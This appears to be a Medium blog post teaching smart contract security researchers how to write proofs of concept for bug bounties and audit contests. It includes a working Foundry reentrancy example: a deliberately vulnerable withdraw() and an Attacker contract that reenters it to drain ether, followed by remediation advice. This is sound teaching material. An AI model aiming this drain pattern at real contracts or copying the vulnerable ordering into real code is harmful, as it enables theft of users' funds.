How to Write a PoC as a Smart Contract Security Researcher

medium.com · Abraham · 10 days ago · research
quality 7/10 · good
0 net
How to Write a PoC as a Smart Contract Security Researcher | by Abraham - Freedium Milestone: 20GB Reached We’ve reached 20GB of stored data — thank you for helping us grow! Patreon Ko-fi Liberapay Close < Go to the original How to Write a PoC as a Smart Contract Security Researcher In smart contract security, finding a bug is only half the job. The other half and often the part that determines whether your finding is… Abraham Follow ~6 min read · March 24, 2026 (Updated: March 24, 2026) · Free: Yes In smart contract security, finding a bug is only half the job . The other half and often the part that determines whether your finding is taken seriously is proving it. That proof is your PoC (Proof of Concept) . A vague description like "this function may be vulnerable to reentrancy" is weak. A clear, reproducible PoC that drains funds or breaks invariants is powerful. It shows: The bug is real The exploit is practical The impact is measurable If you want to win audit contests, get paid in bug bounties, or build credibility as a researcher, writing strong PoCs is non negotiable. This guide will teach you exactly how to do that. What is a PoC in Smart Contract Security? A Proof of Concept (PoC) is a reproducible demonstration that a vulnerability can be exploited in practice . It is not just an explanation it is evidence . Let's break down related concepts: Vulnerability description Explains what's wrong in the code Example: "State update occurs after external call." Attack scenario Describes how it could be exploited Example: "An attacker can reenter before balance is updated." PoC Shows it actually works Example: A test or script that drains funds via reentrancy Exploit A production grade version used in the wild (often optimized, stealthy) 👉 A PoC sits between theory and real-world exploitation. It proves the bug is real, reproducible, and impactful . Why PoCs Matter for Security Researchers PoCs are your credibility layer . In Bug Bounty Submissions Strong PoC = higher likelihood of payout Reduces back and forth with triagers Shows real impact, not speculation In Audit Reports Helps clients understand risk quickly Makes findings actionable Avoids "theoretical" classification In Competitive Audit Contests Judges prioritize clear, reproducible exploits A good PoC can win ties between similar findings Weak PoCs often get downgraded In Internal Security Reviews Engineers can reproduce and fix faster Eliminates ambiguity In Client Communication Builds trust Demonstrates professionalism 👉 A strong PoC answers the reviewer's main question : "Can this actually be exploited?" When Do You Need a PoC? Absolutely Necessary Reentrancy Fund theft Access control bypass Oracle manipulation Liquidation exploits Accounting inconsistencies Highly Recommended Griefing attacks Denial of Service (DoS) Precision/rounding bugs Edge case logic flaws Optional (but still useful) Gas inefficiencies Minor design issues Informational findings Examples If impact is unclear, write a PoC. Core Qualities of a Strong PoC A high-quality PoC should be: 1. Minimal Only include necessary code Avoid noise Easier to review 2. Reproducible Anyone can run it and see the issue No hidden assumptions 3. Deterministic Same result every time No randomness or flaky state 4. Realistic Reflects real-world conditions Avoids impossible assumptions 5. Easy to Run One command (e.g. forge test ) No complex setup 6. Measurable Shows clear impact: balance changes state corruption invariant violation 7. Focused Demonstrates one root cause No mixing multiple bugs A reviewer should understand your PoC in under 2 minutes. Step by Step: How to Write a PoC This is the core workflow. Step 1: Understand the Vulnerability Deeply Don't rush into coding. Ask: What invariant is broken? What assumptions fail? Mistake: Writing a PoC before fully understanding the bug. Step 2: Identify the Root Cause Pinpoint the exact issue: Missing check? Incorrect order of operations? Trust assumption? Your PoC should target the root cause not symptoms. Step 3: Define the Attack Path Write the attack flow: Initial state Attacker action Vulnerable execution Resulting damage Step 4: Set Up the Initial State Recreate the exact conditions needed: Token balances Contract state Permissions Tip: Use helpers like deal , prank , warp (Foundry) Step 5: Choose the Right Testing Framework Foundry (preferred for speed + simplicity) Hardhat (JS ecosystem) Fork tests (for real world state) Step 6: Write the Smallest Possible Reproduction Strip everything unnecessary. Bad: 500 line test with multiple contracts Good: 30 — 80 lines focused on the bug Step 7: Trigger the Bug Execute the exact exploit path: Call vulnerable function Use attacker contract if needed Step 8: Assert the Bad Outcome This is critical. Examples: assertEq(attacker.balance, expectedDrain); assertGt(attackerProfit, 0); assertTrue(invariantBroken); If you don't assert impact, your PoC is weak. Step 9: Compare Expected vs Actual Behavior Show: What should happen What actually happens Step 10: Clean Up the PoC Before submission: Rename variables clearly Add comments Remove debug logs Write for a skeptical reviewer , not yourself. Choosing the Right PoC Format Foundry Tests (Recommended) Pros: Fast Simple Built in cheatcodes Best for: Most vulnerabilities Contest submissions Hardhat Tests Pros: JS flexibility Good for integrations Best for: Complex setups Frontend interactions Solidity Attacker Contracts Pros: Realistic exploit simulation Best for: Reentrancy Callback based attacks Fork Tests Pros: Real protocol state Best for: Oracle manipulation MEV scenarios Local Mock Setups Pros: Fully controlled Best for: Unit level bugs Anatomy of a Smart Contract PoC A strong PoC typically includes: Setup Deploy contracts Initialize state 2. Initial Conditions Fund contracts Assign roles 3. Attacker Actions Call exploit functions 4. Exploit Trigger Vulnerable execution point 5. Assertions Validate impact 6. Evidence Balance changes Broken invariants 7. Comments Explain key steps Example PoC Outline (Reentrancy) Vulnerability Summary A contract updates user balance after sending ETH. Attack Flow Attacker deposits ETH Calls withdraw() Reenters before balance update Drains contract Sample Foundry PoC // SPDX-License-Identifier: MIT pragma solidity ^0.8.20; import "forge-std/Test.sol"; contract Vulnerable { mapping(address => uint256) public balances; function deposit() external payable { balances[msg.sender] += msg.value; } function withdraw() external { uint256 amount = balances[msg.sender]; require(amount > 0, "No balance"); // Vulnerable: external call before state update (bool success,) = msg.sender.call{value: amount}(""); require(success); balances[msg.sender] = 0; } } contract Attacker { Vulnerable target; constructor(address _target) { target = Vulnerable(_target); } receive() external payable { if (address(target).balance >= 1 ether) { target.withdraw(); // reenter } } function attack() external payable { target.deposit{value: 1 ether}(); target.withdraw(); } } contract ReentrancyTest is Test { Vulnerable target; Attacker attacker; function setUp() public { target = new Vulnerable(); attacker = new Attacker(address(target)); // Fund contracts vm.deal(address(attacker), 1 ether); vm.deal(address(target), 10 ether); } function testReentrancyDrain() public { vm.prank(address(attacker)); attacker.attack{value: 1 ether}(); // Assert attacker drained funds assertGt(address(attacker).balance, 1 ether); } } What This PoC Demonstrates Real exploit path Recursive reentrancy Measurable financial impact How to Write the Written Report Around the PoC A strong report structure: Title Clear and specific "Reentrancy in withdraw() allows draining of funds" Summary Brief explanation of the issue Affected Components Contract Function Root Cause Explain why it happens Preconditions Required state Assumptions Steps to Reproduce Numbered and clear PoC Code Include your test Impact Funds lost Protocol breakage Expected vs Actual Expected: safe withdrawal Actual: repeated draining Remediation Checks Effects-Interactions Reentrancy guard Common Mistakes Researchers Make Writing theory without proof Using unrealistic assumptions Overcomplicating the PoC Not asserting impact Only proving a revert (not an exploit) Mixing multiple bugs in one test Using flaky environments Not explaining setup conditions If a reviewer has to guess anything, your PoC is weak. Tips to Make Your PoC Stand Out Use clear test names testDrainFundsViaReentrancy() Keep code short and readable Add strategic comments , not noise Assert exact values: assertEq(balanceAfter, balanceBefore + stolenAmount); Make it runnable in one command Assume the reviewer is skeptical Optimize for clarity over cleverness Final Thoughts A PoC is not just code. It is proof . The best smart contract security researchers: Think in terms of state transitions Focus on root causes Prove real impact Communicate with clarity and precision Anyone can point out a potential issue. Very few can prove it convincingly . That's what separates average researchers from top tier ones. PoC Submission Checklist Before submitting your PoC, verify: The vulnerability is clearly understood The PoC is minimal and focused The setup is fully reproducible The exploit path is clearly triggered The impact is explicitly asserted No unnecessary complexity is included The test runs in one command ( forge test ) Assumptions are clearly stated Expected vs actual behavior is explained Code is readable and well commented Master this skill, and you'll dramatically increase your success rate in audits, contests, and bug bounties. #cybersecurity #blockchain #bug-bounty #smart-contracts #proof-of-concept Reporting a Problem Sometimes we have problems displaying some Medium posts. If you have a problem that some images aren't loading - try using VPN. Probably you have problem with access to Medium CDN (or fucking Cloudflare's bot detection algorithms are blocking you).